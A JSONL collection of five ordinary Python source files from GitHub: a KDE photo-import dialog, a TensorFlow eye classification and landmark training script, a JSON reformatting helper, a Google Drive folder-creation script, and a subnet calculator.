+{"seq_id":"41829728748","text":"import os\nimport time\n\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\nfrom PyKDE4.kdecore import *\nfrom PyKDE4.kdeui import *\n\nfrom ui_importdialog import Ui_ImportDialog\n\n\nclass ImportDialog(KDialog):\n    def __init__(self, dstUrl):\n        KDialog.__init__(self)\n\n        self.dstBaseUrl = KUrl(dstUrl)\n        year = str(time.gmtime().tm_year)\n        self.dstBaseUrl.addPath(year)\n\n        # Destination\n        widget = QWidget(self)\n        self.ui = Ui_ImportDialog()\n        self.ui.setupUi(widget)\n        widget.layout().setMargin(0)\n        self.setMainWidget(widget)\n        self.showButtonSeparator(True)\n        self.setButtonText(KDialog.Ok, i18n(\"Import\"))\n\n        self.initComboBox()\n        self.ui.eventComboBox.clearEditText()\n\n        QObject.connect(self.ui.eventComboBox, SIGNAL(\"editTextChanged(QString)\"), \\\n            self.updateDstLabel)\n\n        self.ui.eventComboBox.setFocus()\n        font = self.ui.dstLabel.font()\n        font.setItalic(True)\n        self.ui.dstLabel.setFont(font)\n        self.updateDstLabel()\n\n\n    def initComboBox(self):\n        dir = unicode(self.dstBaseUrl.path())\n        if not os.path.exists(dir):\n            return\n        lst = QStringList()\n        for file in os.listdir(dir):\n            if os.path.isdir(os.path.join(dir, file)):\n                lst.append(QString(file))\n        lst.sort()\n        self.ui.eventComboBox.addItems(lst)\n\n\n    def sizeHint(self):\n        sh = KDialog.sizeHint(self)\n        sh.setWidth(400)\n        return sh\n\n\n    def updateDstLabel(self):\n        url = self.dstUrl()\n        text = i18n(\"Pictures will be imported in:\\n%1\", url.pathOrUrl())\n        self.ui.dstLabel.setText(text)\n        self.adjustSize()\n\n\n    def dstUrl(self):\n        url = KUrl(self.dstBaseUrl)\n        url.addPath(self.ui.eventComboBox.currentText())\n        return url\n\n\n# vi: ts=4 sw=4 et\n","repo_name":"agateau/gwenview-importer","sub_path":"importdialog.py","file_name":"importdialog.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"24248456434","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport numpy as np\n\nimport tensorflow as tf\nslim = tf.contrib.slim\nimport logging\n\nfrom net import cls_reg_net as cls_net\n\nfrom dataset import dataset_common\nfrom preprocessing import cls_preprocessing\nfrom utility import scaffolds\n\n# hardware related configuration\ntf.app.flags.DEFINE_integer(\n    'num_readers', 10,\n    'The number of parallel readers that read data from the dataset.')\ntf.app.flags.DEFINE_integer(\n    'num_preprocessing_threads', 24,\n    'The number of threads used to create the batches.')\ntf.app.flags.DEFINE_integer(\n    'num_cpu_threads', 0,\n    'The number of cpu cores used to train.')\ntf.app.flags.DEFINE_float(\n    'gpu_memory_fraction', 1., 'GPU memory fraction to use.')\n# scaffold related configuration\ntf.app.flags.DEFINE_string(\n    'data_dir', './dataset/tfrecords',\n    'The directory where the dataset input data is stored.')\ntf.app.flags.DEFINE_string(\n    'cls_data_dir', 'multi-task/9p/CEW',\n    'The directory where the dataset input data is stored.')\ntf.app.flags.DEFINE_string(\n    'reg_data_dir', 'multi-task/9p/MUCT',\n    'The directory where the dataset input data is stored.')\ntf.app.flags.DEFINE_integer(\n    'num_classes', 2, 'Number of classes to use in the dataset.')\ntf.app.flags.DEFINE_string(\n    'model_dir', './models/multitask/18_atten_9p',\n    'The directory where the model will be stored.')\ntf.app.flags.DEFINE_integer(\n    'log_every_n_steps', 10,\n    'The frequency with which logs are printed.')\ntf.app.flags.DEFINE_integer(\n    'save_summary_steps', 10,\n    'The frequency with which summaries are saved, in seconds.')\ntf.app.flags.DEFINE_integer(\n    'save_checkpoints_secs', 7200, # not used\n    'The frequency with which the model is saved, in seconds.')\ntf.app.flags.DEFINE_integer(\n    'save_checkpoints_steps', 5000,\n    'The frequency with which the model is saved, in steps.')\n# model related configuration\n## resnet settings\ntf.app.flags.DEFINE_integer(\n    'resnet_version', 2,\n    'The version of used resnet, default is v2.')\ntf.app.flags.DEFINE_integer(\n    'resnet_size', 18,\n    'The layers of used resnet, [4,6,10,14,18,34,50,101,152,200].')\ntf.app.flags.DEFINE_boolean(\n    'attention_block', True,\n    'Use attention or not. True/False')\ntf.app.flags.DEFINE_boolean(\n    'location_feature_stage', 0,\n    'The largest feature map used to location the pupil. [0,1,2,3,4,5]or[-1,-2,-3] or None means not to reg')\n## other settings\ntf.app.flags.DEFINE_integer(\n    'train_image_size', 224,\n    'The size of the input image for the model to use.')\ntf.app.flags.DEFINE_integer(\n    'train_epochs', None,\n    'The number of epochs to use for training.')\ntf.app.flags.DEFINE_integer(\n    'batch_size', 16*2,\n    'Batch size for training and evaluation.')\ntf.app.flags.DEFINE_string(\n    'data_format', 'channels_first', # 'channels_first' or 'channels_last'\n    'A flag to override the data format used in the model. channels_first '\n    'provides a performance boost on GPU but is not always compatible '\n    'with CPU. If left unspecified, the data format will be chosen '\n    'automatically based on whether TensorFlow was built for CPU or GPU.')\n# tf.app.flags.DEFINE_float(\n#     'negative_ratio', 3., 'Negative ratio in the loss function.')\n# tf.app.flags.DEFINE_float(\n#     'match_threshold', 0.5, 'Matching threshold in the loss function.')\n# tf.app.flags.DEFINE_float(\n#     'neg_threshold', 0.5, 'Matching threshold for the negtive examples in the loss function.')\n# optimizer related configuration\ntf.app.flags.DEFINE_integer(\n    'tf_random_seed', 20180503, 'Random seed for TensorFlow initializers.')\ntf.app.flags.DEFINE_float(\n    'weight_decay', 5e-5, 'The weight decay on the model weights.')\ntf.app.flags.DEFINE_float(\n    'momentum', 0.9,\n    'The momentum for the MomentumOptimizer and RMSPropOptimizer.')\ntf.app.flags.DEFINE_float(\n    'learning_rate', 1e-3, 'Initial learning rate.')\ntf.app.flags.DEFINE_float(\n    'end_learning_rate', 0.000001,\n    'The minimal end learning rate used by a polynomial decay learning rate.')\n# for learning rate piecewise_constant decay\ntf.app.flags.DEFINE_string(\n    'decay_boundaries', '15000, 20000, 25000, 30000, 35000',\n    'Learning rate decay boundaries by global_step (comma-separated list).')\ntf.app.flags.DEFINE_string(\n    'lr_decay_factors', '1, 0.1, 0.01, 1, 0.1, 0.01',\n    'The values of learning_rate decay factor for each segment between boundaries (comma-separated list).')\n# tf.app.flags.DEFINE_string(\n#     'decay_boundaries', ' 5000, 10000',\n#     'Learning rate decay boundaries by global_step (comma-separated list).')\n# tf.app.flags.DEFINE_string(\n#     'lr_decay_factors', '1, 0.1, 0.01',\n#     'The values of learning_rate decay factor for each segment between boundaries (comma-separated list).')\ntf.app.flags.DEFINE_integer(\n    'max_number_of_steps', 15000,\n    'The max number of steps to use for training.')\n# checkpoint related configuration\ntf.app.flags.DEFINE_string(\n    'checkpoint_path', None,\n    'The path to a checkpoint from which to fine-tune.')\ntf.app.flags.DEFINE_string(\n    'checkpoint_model_scope', 'vgg_16',\n    'Model scope in the checkpoint. None if the same as the trained model.')\ntf.app.flags.DEFINE_string(\n    'model_scope', 'ssd300',\n    'Model scope name used to replace the name_scope in checkpoint.')\ntf.app.flags.DEFINE_string(\n    'checkpoint_exclude_scopes', None,\n    'Comma-separated list of scopes of variables to exclude when restoring from a checkpoint. ssd300/REG/second_loc')\ntf.app.flags.DEFINE_boolean(\n    'ignore_missing_vars', True,\n    'When restoring a checkpoint would ignore missing variables.')\ntf.app.flags.DEFINE_boolean(\n    'multi_gpu', True,\n    'Whether there is GPU to use for training.')\ntf.app.flags.DEFINE_string(\n    'loss_weights', '1, 2, 0',\n    'training step'\n)\n\nFLAGS = tf.app.flags.FLAGS\n#CUDA_VISIBLE_DEVICES\ndef validate_batch_size_for_multi_gpu(batch_size):\n    \"\"\"For multi-gpu, batch-size must be a multiple of the number of\n    available GPUs.\n\n    Note that this should eventually be handled by replicate_model_fn\n    directly. Multi-GPU support is currently experimental, however,\n    so doing the work here until that feature is in place.\n    \"\"\"\n    if FLAGS.multi_gpu:\n        from tensorflow.python.client import device_lib\n\n        local_device_protos = device_lib.list_local_devices()\n        num_gpus = sum([1 for d in local_device_protos if d.device_type == 'GPU'])\n        if not num_gpus:\n            raise ValueError('Multi-GPU mode was specified, but no GPUs '\n                            'were found. To use CPU, run --multi_gpu=False.')\n\n        remainder = batch_size % num_gpus\n        if remainder:\n            err = ('When running with multiple GPUs, batch size '\n                    'must be a multiple of the number of available GPUs. '\n                    'Found {} GPUs with a batch size of {}; try --batch_size={} instead.'\n                    ).format(num_gpus, batch_size, batch_size - remainder)\n            raise ValueError(err)\n        return num_gpus\n    return 0\n\ndef init_variables_from_checkpoint(checkpoint_exclude_scopes=None):\n    \"\"\"Variable initialization form a given checkpoint path.\n    \n    Modified from:\n        https://github.com/tensorflow/models/blob/master/research/\n        object_detection/model_lib.py\n    \n    Note that the init_fn is only run when initializing the model during the \n    very first global step.\n    \n    Args:\n        checkpoint_exclude_scopes: Comma-separated list of scopes of variables\n            to exclude when restoring from a checkpoint.\n    \"\"\"\n    exclude_patterns = None\n    if checkpoint_exclude_scopes:\n        exclude_patterns = [scope.strip() for scope in \n                            checkpoint_exclude_scopes.split(',')]\n    variables_to_restore = tf.global_variables()\n    variables_to_restore.append(slim.get_or_create_global_step())\n    variables_to_init = tf.contrib.framework.filter_variables(\n        variables_to_restore, exclude_patterns=exclude_patterns)\n    variables_to_init_dict = {var.op.name: var for var in variables_to_init}\n    \n    available_var_map = get_variables_available_in_checkpoint(\n        variables_to_init_dict, FLAGS.checkpoint_path, \n        include_global_step=False)\n    tf.train.init_from_checkpoint(FLAGS.checkpoint_path, available_var_map)\n    \n    \ndef get_variables_available_in_checkpoint(variables,\n                                          checkpoint_path,\n                                          include_global_step=True):\n    \"\"\"Returns the subset of variables in the checkpoint.\n    \n    Inspects given checkpoint and returns the subset of variables that are\n    available in it.\n    \n    Args:\n        variables: A dictionary of variables to find in checkpoint.\n        checkpoint_path: Path to the checkpoint to restore variables from.\n        include_global_step: Whether to include `global_step` variable, if it\n            exists. Default True.\n            \n    Returns:\n        A dictionary of variables.\n        \n    Raises:\n        ValueError: If `variables` is not a dict.\n    \"\"\"\n    if not isinstance(variables, dict):\n        raise ValueError('`variables` is expected to be a dict.')\n    \n    # Available variables\n    ckpt_reader = tf.train.NewCheckpointReader(checkpoint_path)\n    ckpt_vars_to_shape_map = ckpt_reader.get_variable_to_shape_map()\n    if not include_global_step:\n        ckpt_vars_to_shape_map.pop(tf.GraphKeys.GLOBAL_STEP, None)\n    vars_in_ckpt = {}\n    for variable_name, variable in sorted(variables.items()):\n        if variable_name in ckpt_vars_to_shape_map:\n            if ckpt_vars_to_shape_map[variable_name] == variable.shape.as_list():\n                vars_in_ckpt[variable_name] = variable\n            else:\n                logging.warning('Variable [%s] is avaible in checkpoint, but '\n                                'has an incompatible shape with model '\n                                'variable. Checkpoint shape: [%s], model '\n                                'variable shape: [%s]. This variable will not '\n                                'be initialized from the checkpoint.',\n                                variable_name, \n                                ckpt_vars_to_shape_map[variable_name],\n                                variable.shape.as_list())\n        else:\n            logging.warning('Variable [%s] is not available in checkpoint',\n                            variable_name)\n    return vars_in_ckpt\n\n# def get_init_fn():\n#     return scaffolds.get_init_fn_for_scaffold(FLAGS.model_dir, FLAGS.checkpoint_path,\n#                                             FLAGS.model_scope, FLAGS.checkpoint_model_scope,\n#                                             FLAGS.checkpoint_exclude_scopes, FLAGS.ignore_missing_vars,\n#                                             name_remap={'/kernel': '/weights', '/bias': '/biases'})\n\ndef input_pipeline(dataset_pattern='train-*', is_training=True, batch_size=FLAGS.batch_size):\n    def input_fn():\n        target_shape = [FLAGS.train_image_size] * 2\n        image_preprocessing_fn = lambda image_, label_: cls_preprocessing.preprocess_image(image_, label_, target_shape, \n                                                                    is_training=is_training, data_format=FLAGS.data_format, \n                                                                    output_rgb=False)\n        if FLAGS.location_feature_stage is not None:\n            _batch_size = int(batch_size/2)\n            print('Use cls and reg, so the batch size of each task is {}'.format(_batch_size))\n            image1, _, cls_targets1, points1, is_reg1 = dataset_common.slim_get_batch(\n                                                            FLAGS.num_classes,\n                                                            _batch_size,\n                                                            ('train' if is_training else 'val'),\n                                                            os.path.join(FLAGS.data_dir, FLAGS.cls_data_dir, dataset_pattern),\n                                                            int(FLAGS.num_readers/2),\n                                                            int(FLAGS.num_preprocessing_threads/2),\n                                                            image_preprocessing_fn,\n                                                            num_epochs=FLAGS.train_epochs,\n                                                            is_training=is_training)\n            image2, _, cls_targets2, points2, is_reg2 = dataset_common.slim_get_batch(\n                                                            FLAGS.num_classes,\n                                                            _batch_size,\n                                                            ('train' if is_training else 'val'),\n                                                            os.path.join(FLAGS.data_dir, FLAGS.reg_data_dir, dataset_pattern),\n                                                            int(FLAGS.num_readers/2),\n                                                            int(FLAGS.num_preprocessing_threads/2),\n                                                            image_preprocessing_fn,\n                                                            num_epochs=FLAGS.train_epochs,\n                                                            is_training=is_training)\n            image, cls_targets, points, is_reg = [tf.concat([image1, image2],axis=0),\n                                                            tf.concat([cls_targets1, cls_targets2],axis=0),\n                                                            tf.concat([points1, points2],axis=0),\n                                                            tf.concat([is_reg1, is_reg2],axis=0),]\n        else:\n            _batch_size = batch_size\n            image, _, cls_targets, points, is_reg = dataset_common.slim_get_batch(\n                                                            FLAGS.num_classes,\n                                                            _batch_size,\n                                                            ('train' if is_training else 'val'),\n                                                            os.path.join(FLAGS.data_dir, dataset_pattern),\n                                                            FLAGS.num_readers,\n                                                            FLAGS.num_preprocessing_threads,\n                                                            image_preprocessing_fn,\n                                                            num_epochs=FLAGS.train_epochs,\n                                                            is_training=is_training)\n\n        return image, {'cls_targets': cls_targets, 'loc_targets': points, 'is_reg': is_reg}\n        # return image, {'cls_targets': cls_targets, 'loc_targets': tf.squeeze(points,axis=-1), 'is_reg': is_reg}\n    return input_fn\n\ndef modified_smooth_l1(bbox_pred, bbox_targets, bbox_inside_weights=1., bbox_outside_weights=1., sigma=1.):\n    \"\"\"\n        ResultLoss = outside_weights * SmoothL1(inside_weights * (bbox_pred - bbox_targets))\n        SmoothL1(x) = 0.5 * (sigma * x)^2,    if |x| < 1 / sigma^2\n                      |x| - 0.5 / sigma^2,    otherwise\n    \"\"\"\n    with tf.name_scope('smooth_l1', [bbox_pred, bbox_targets]):\n        sigma2 = sigma * sigma\n\n        inside_mul = tf.multiply(bbox_inside_weights, tf.subtract(bbox_pred, bbox_targets))\n\n        smooth_l1_sign = tf.cast(tf.less(tf.abs(inside_mul), 1.0 / sigma2), tf.float32)\n        smooth_l1_option1 = tf.multiply(tf.multiply(inside_mul, inside_mul), 0.5 * sigma2)\n        smooth_l1_option2 = tf.subtract(tf.abs(inside_mul), 0.5 / sigma2)\n        smooth_l1_result = tf.add(tf.multiply(smooth_l1_option1, smooth_l1_sign),\n                                  tf.multiply(smooth_l1_option2, tf.abs(tf.subtract(smooth_l1_sign, 1.0))))\n\n        outside_mul = tf.multiply(bbox_outside_weights, smooth_l1_result)\n\n        return outside_mul\n\ndef ssd_model_fn(features, labels, mode, params):\n    \"\"\"model_fn for MODLE to be used with our Estimator.\"\"\"\n    cls_targets = labels['cls_targets']\n    print(labels['loc_targets'])\n    loc_targets = labels['loc_targets']\n    is_reg = labels['is_reg']\n\n    with tf.variable_scope(params['model_scope'], default_name=None, values=[features], reuse=tf.AUTO_REUSE):\n        model = cls_net.CLS_REG_Model(FLAGS.resnet_size, FLAGS.resnet_version,\n                                FLAGS.attention_block, FLAGS.location_feature_stage, FLAGS.data_format)\n        results = model(features, mode == tf.estimator.ModeKeys.TRAIN)\n        if FLAGS.location_feature_stage is not None:\n            logits, loc, location = results\n        else:\n            logits = results\n\n    if mode == tf.estimator.ModeKeys.TRAIN:\n        if FLAGS.checkpoint_path:\n            init_variables_from_checkpoint(FLAGS.checkpoint_exclude_scopes)\n\n    # This acts as a no-op if the logits are already in fp32 (provided logits are\n    # not a SparseTensor). If dtype is is low precision, logits must be cast to\n    # fp32 for numerical stability.\n    logits = tf.cast(logits, tf.float32)\n\n    predictions = {\n        'classes': tf.argmax(logits, axis=1),\n        'probabilities': tf.nn.softmax(logits, name='softmax_tensor')\n    }\n    if mode == tf.estimator.ModeKeys.PREDICT:\n        # Return the predictions and the specification for serving a SavedModel\n        return tf.estimator.EstimatorSpec(\n            mode=mode,\n            predictions=predictions,\n            export_outputs={\n                'predict': tf.estimator.export.PredictOutput(predictions)\n            })\n\n    with tf.variable_scope('losses'):\n        loss_weights = parse_comma_list(FLAGS.loss_weights)\n        with tf.variable_scope('cls_loss'):\n            if FLAGS.location_feature_stage is not None:\n                weights = 1 - is_reg\n                cls_targets = tf.expand_dims(weights,axis=-1) * cls_targets\n            else:\n                weights = 1.0\n\n            # print_op1 = tf.print(\"cls:\", logits, cls_targets, output_stream=sys.stdout)\n            # with tf.control_dependencies([print_op1]):\n            # Calculate loss, which includes softmax cross entropy and L2 regularization.\n            cross_entropy = tf.losses.sparse_softmax_cross_entropy(\n                logits=logits, labels=cls_targets, weights=weights) * loss_weights[0]\n        total_loss = cross_entropy \n            \n        if FLAGS.location_feature_stage is not None:\n            with tf.variable_scope('DSNT'):\n                inputs_shape_hw = int(FLAGS.train_image_size / 2 *2/7)\n                kernel = np.arange(inputs_shape_hw)\n                kernel = kernel / (inputs_shape_hw-1.) - 0.5\n                X = np.tile(kernel, [inputs_shape_hw, 1])\n                Y = np.transpose(X, [1,0])\n                # channel_last format\n                X = np.reshape(X, [1, -1, 1])\n                Y = np.reshape(Y, [1, -1, 1])\n\n                eyes = []\n                for inputs in location:\n                    # inputs: channel_last format\n                    inputs = tf.reshape(inputs, [-1, inputs_shape_hw**2, 9])\n                    inputs = tf.nn.softmax(inputs, 1)\n                    # print(X, inputs)\n                    xs = tf.reduce_sum(X*inputs, 1, keepdims=True) #B*1*C\n                    ys = tf.reduce_sum(Y*inputs, 1, keepdims=True) #B*1*C\n                    eyes.append( tf.concat([ys,xs], 1) )                #B*2*C\n                location = tf.concat(eyes, 1)   # B*4*C\n\n            weights = tf.expand_dims(is_reg,axis=-1)\n            # weights = tf.concat([tf.zeros([int(FLAGS.batch_size/2)]), tf.ones(int(FLAGS.batch_size/2))], axis=0)\n            # print_op2 = tf.print(\"reg:\", loc,location,loc_targets, output_stream=sys.stdout)\n            # with tf.control_dependencies([print_op2]):\n            with tf.variable_scope('reg_loss'):\n                coarse_label = loc_targets[:,:,-1] # b*[ly, lx, ry, rx]\n                loc_loss1 = tf.losses.absolute_difference(\n                    labels=coarse_label, predictions=loc, weights=weights) * loss_weights[1]\n\n                loc_stop = tf.stop_gradient(loc)\n                location_final = tf.expand_dims(loc_stop,-1) + 2/7*location\n                loc_loss2 = tf.losses.absolute_difference(\n                    labels=tf.reshape(loc_targets,[-1,36]), predictions=tf.reshape(location_final,[-1,36]), \n                    weights=weights) * loss_weights[2]\n            # print_op3 = tf.print(\"loss:\", total_loss, loc_loss1, loc_loss2, output_stream=sys.stdout)\n            # with tf.control_dependencies([print_op3]):\n\n            # Reset the total_loss.\n            total_loss = (total_loss) + (loc_loss1) + loc_loss2\n            # total_loss = tf.stop_gradient(total_loss) + tf.stop_gradient(loc_loss1) + loc_loss2\n            # total_loss = total_loss + loc_loss1 + tf.stop_gradient(loc_loss2)\n\n    # Create a tensor named cross_entropy for logging purposes.\n    tf.identity(cross_entropy, name='cross_entropy')\n    tf.summary.scalar('cross_entropy', cross_entropy)\n    tf.identity(loc_loss1, name='loc_loss1')\n    tf.summary.scalar('loc_loss1', loc_loss1)\n    tf.identity(loc_loss2, name='loc_loss2')\n    tf.summary.scalar('loc_loss2', loc_loss2)\n    tf.identity(total_loss, name='total_loss')\n    tf.summary.scalar('total_loss', total_loss)\n\n    if mode == tf.estimator.ModeKeys.TRAIN:\n        global_step = tf.train.get_or_create_global_step()\n\n        lr_values = [params['learning_rate'] * decay for decay in params['lr_decay_factors']]\n        learning_rate = tf.train.piecewise_constant(tf.cast(global_step, tf.int32),\n                                                    [int(_) for _ in params['decay_boundaries']],\n                                                    lr_values)\n        truncated_learning_rate = tf.maximum(learning_rate, tf.constant(params['end_learning_rate'],\n                                 dtype=learning_rate.dtype), name='learning_rate')\n        # Create a tensor named learning_rate for logging purposes.\n        tf.summary.scalar('learning_rate', truncated_learning_rate)\n\n        optimizer = tf.train.MomentumOptimizer(learning_rate=truncated_learning_rate,\n                                                momentum=params['momentum'])\n        optimizer = tf.contrib.estimator.TowerOptimizer(optimizer)\n\n        # Batch norm requires update_ops to be added as a train_op dependency.\n        update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n        with tf.control_dependencies(update_ops):\n            train_op = optimizer.minimize(total_loss, global_step)\n    else:\n        train_op = None\n\n    return tf.estimator.EstimatorSpec(\n                              mode=mode,\n                              predictions=predictions,\n                              loss=total_loss,\n                              train_op=train_op)\n                            #   eval_metric_ops=metrics,\n                            #   scaffold=tf.train.Scaffold(init_fn=get_init_fn()))\n\ndef parse_comma_list(args):\n    return [float(s.strip()) for s in args.split(',')]\n\ndef main(_):\n    # Using the Winograd non-fused algorithms provides a small performance boost.\n    os.environ['TF_ENABLE_WINOGRAD_NONFUSED'] = '1'\n    # os.environ['CUDA_VISIBLE_DEVICES'] = '5'\n\n    # gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=FLAGS.gpu_memory_fraction)\n    gpu_options = tf.GPUOptions(allow_growth = True)\n    config = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False, intra_op_parallelism_threads=FLAGS.num_cpu_threads, inter_op_parallelism_threads=FLAGS.num_cpu_threads, gpu_options=gpu_options)\n\n    num_gpus = validate_batch_size_for_multi_gpu(FLAGS.batch_size)\n\n    # Set up a RunConfig to only save checkpoints once per training cycle.\n    run_config = tf.estimator.RunConfig().replace(\n                                        save_checkpoints_secs=None).replace(\n                                        save_checkpoints_steps=FLAGS.save_checkpoints_steps).replace(\n                                        save_summary_steps=FLAGS.save_summary_steps).replace(\n                                        keep_checkpoint_max=5).replace(\n                                        tf_random_seed=FLAGS.tf_random_seed).replace(\n                                        log_step_count_steps=FLAGS.log_every_n_steps).replace(\n                                        session_config=config)\n\n    replicate_ssd_model_fn = tf.contrib.estimator.replicate_model_fn(ssd_model_fn, loss_reduction=tf.losses.Reduction.MEAN)\n    ssd_detector = tf.estimator.Estimator(\n        model_fn=replicate_ssd_model_fn, model_dir=FLAGS.model_dir, config=run_config,\n        params={\n            'num_gpus': num_gpus,\n            'data_format': FLAGS.data_format,\n            'batch_size': FLAGS.batch_size,\n            'model_scope': FLAGS.model_scope,\n            'num_classes': FLAGS.num_classes,\n            # 'negative_ratio': FLAGS.negative_ratio,\n            # 'match_threshold': FLAGS.match_threshold,\n            # 'neg_threshold': FLAGS.neg_threshold,\n            'weight_decay': FLAGS.weight_decay,\n            'momentum': FLAGS.momentum,\n            'learning_rate': FLAGS.learning_rate,\n            'end_learning_rate': FLAGS.end_learning_rate,\n            'decay_boundaries': parse_comma_list(FLAGS.decay_boundaries),\n            'lr_decay_factors': parse_comma_list(FLAGS.lr_decay_factors),\n        })\n    tensors_to_log = {\n        'lr': 'learning_rate',\n        'loss-ce': 'cross_entropy',\n        'loss-loc1': 'loc_loss1',\n        'loss-loc2': 'loc_loss2',\n        'total-loss': 'total_loss'\n    }\n    logging_hook = tf.train.LoggingTensorHook(tensors=tensors_to_log, every_n_iter=FLAGS.log_every_n_steps,\n                                            formatter=lambda dicts: (', '.join(['%s=%.6f' % (k, v) for k, v in dicts.items()])))\n\n    #hook = tf.train.ProfilerHook(save_steps=50, output_dir='.', show_memory=True)\n    print('Starting a training cycle.')\n    ssd_detector.train(input_fn=input_pipeline(dataset_pattern='train-*', is_training=True, batch_size=FLAGS.batch_size),\n                    hooks=[logging_hook], max_steps=FLAGS.max_number_of_steps)\n\nif __name__ == '__main__':\n  tf.logging.set_verbosity(tf.logging.INFO)\n  tf.app.run()\n\n","repo_name":"hanzhn/CLS.Tensorflow","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":26394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37785257262","text":"from os import listdir, system, scandir\nfrom os.path import isfile, join\nimport sys\ndefault_folder = \"..\\\\src\\\\\"\nif len(sys.argv) >= 2:\n    default_folder = sys.argv[1]\ndef f(current_directory):\n    with scandir(current_directory) as entries:\n        for entry in entries:\n            if not isfile(entry):\n                f(current_directory + entry.name + \"\\\\\")\n            elif entry.name.lower().endswith(\".json\"):\n                print(\"Refactoring \" + entry.name)\n                system(\"python texture_mapping\\\\json_formatter.py {}\".format(current_directory + entry.name))\n\nf(default_folder)","repo_name":"malatindez/ThaumicExtensions","sub_path":"python_scripts/reformat_all_json_files.py","file_name":"reformat_all_json_files.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7524928184","text":"from google.oauth2 import service_account\nfrom googleapiclient.discovery import build\n\n# 서비스 계정 키 파일을 사용하여 인증합니다.\ncreds = service_account.Credentials.from_service_account_file(\n    'tjqls_id.json', # 서비스 계정 키 파일 경로\n    scopes=['https://www.googleapis.com/auth/drive']\n)\n\n# Google 드라이브 API 클라이언트를 생성합니다.\ndrive_service = build('drive', 'v3', credentials=creds)\n\n# 부모 폴더 ID를 지정합니다. 폴더를 생성할 위치를 지정합니다.\nparent_folder_id = '12kKEvWAug2nr9bPTCM_u8XcvP16krWP0'\n\n# 생성할 폴더의 이름을 지정합니다.\nfolder_name = 'now'\n\n# 폴더를 생성합니다.\nfolder_metadata = {\n    'name': folder_name,\n    'parents': [parent_folder_id],\n    'mimeType': 'application/vnd.google-apps.folder'\n}\n\ncreated_folder = drive_service.files().create(body=folder_metadata).execute()\n\nprint(f'새로운 폴더가 생성되었습니다. ID: {created_folder[\"id\"]}')\n","repo_name":"JaeMinHw/myvenv_3.9","sub_path":"folder_up.py","file_name":"folder_up.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22770831365","text":"from __future__ import annotations\nfrom re import search as regex\nfrom library.exception import InvalidNotation, InvalidIPAddress\n\n\nclass Subnet:\n    \"\"\"\n    class for processing given subnet IP\n    \"\"\"\n\n    def __init__(self, ip: str, netmask: str) -> None:\n\n        if not self.filter_ip(ip):\n            raise InvalidIPAddress(\n                \"your given IP address is invalid.\"\n            )\n\n        if not self.filter_netmask(netmask):\n            raise InvalidNotation(\n                \"your given Netmask is invalid.\"\n            )\n\n        self.ip = ip\n        self.netmask = netmask\n        self.classes = self.subnet_class()\n\n    @classmethod\n    def with_cidr(cls, ip_with_cidr: str) -> Subnet:\n        \"\"\"\n        create an Subnet object with CIDR prefix\n        \"\"\"\n\n        ip, cidr = ip_with_cidr.split(\"/\")\n\n        if not cls.filter_ip(ip):\n            raise InvalidIPAddress(\n                \"the given IP address is not valid.\"\n            )\n\n        if not cls.filter_cidr(int(cidr)):\n            raise InvalidNotation(\n                \"the given CIDR prefix is not valid.\"\n            )\n\n        netmask = cls.cidr_to_netmask(int(cidr))\n\n        return cls(ip, netmask)\n\n    @staticmethod\n    def filter_ip(ip: str) -> bool:\n        \"\"\"\n        filter given IP\n        \"\"\"\n\n        filter = r'[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}$'\n\n        return regex(filter, ip) is not None\n\n    @staticmethod\n    def filter_cidr(cidr: int) -> bool:\n        \"\"\"\n        filter given CIDR prefix\n        \"\"\"\n\n        return (8 <= cidr <= 32)\n\n    @staticmethod\n    def filter_netmask(netmask: str) -> bool:\n        \"\"\"\n        filter given Netmask\n        \"\"\"\n\n        valid_mask = [\n            0, 128, 192, 224, 240,\n            248, 252, 254, 255\n        ]\n        filter = r'[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}$'\n\n        if regex(filter, netmask) is not None:\n            for mask in netmask.split(\".\"):\n                if int(mask) in valid_mask:\n                    continue\n\n                return False\n\n            return True\n\n        return False\n\n    @staticmethod\n    def cidr_to_netmask(cidr: int) -> str:\n        \"\"\"\n        convert given CIDR to valid Netmask\n        \"\"\"\n\n        number_1 = [\"1\" for total in range(cidr)]\n        number_0 = [\"0\" for total in range(32 - cidr)]\n        binary = number_1 + number_0\n\n        binary.insert(8,  \".\")\n        binary.insert(17, \".\")\n        binary.insert(26, \".\")\n\n        binary = list(\n            map(\n                lambda num: str(int(num, base=2)),\n                \"\".join(binary).split(\".\")\n            )\n        )\n\n        return \".\".join(binary)\n\n    def subnet_range(self) -> int:\n        \"\"\"\n        return the range of subnet\n        \"\"\"\n\n        mask = list(\n            filter(\n                lambda num: int(num) != 255,\n                self.netmask.split(\".\")\n            )\n        )\n\n        return 255 if len(mask) == 0 else (256 - int(mask[0]))\n\n    def subnet_class(self) -> dict:\n        \"\"\"\n        return the class of given subnet IP\n        \"\"\"\n\n        index = 0\n        netmask = self.netmask.split(\".\")\n\n        while (index < len(netmask)):\n            if int(netmask[index]) != 255:\n                break\n\n            index += 1\n\n        if 0 <= index <= 1:\n            classes = {\n                \"index\": 1,\n                \"class\": \"A\"\n            }\n        elif index == 2:\n            classes = {\n                \"index\": 2,\n                \"class\": \"B\"\n            }\n        else:\n            classes = {\n                \"index\": 3,\n                \"class\": \"C\"\n            }\n\n        return classes\n","repo_name":"relarizky/subnetting-calculator","sub_path":"library/subnet.py","file_name":"subnet.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
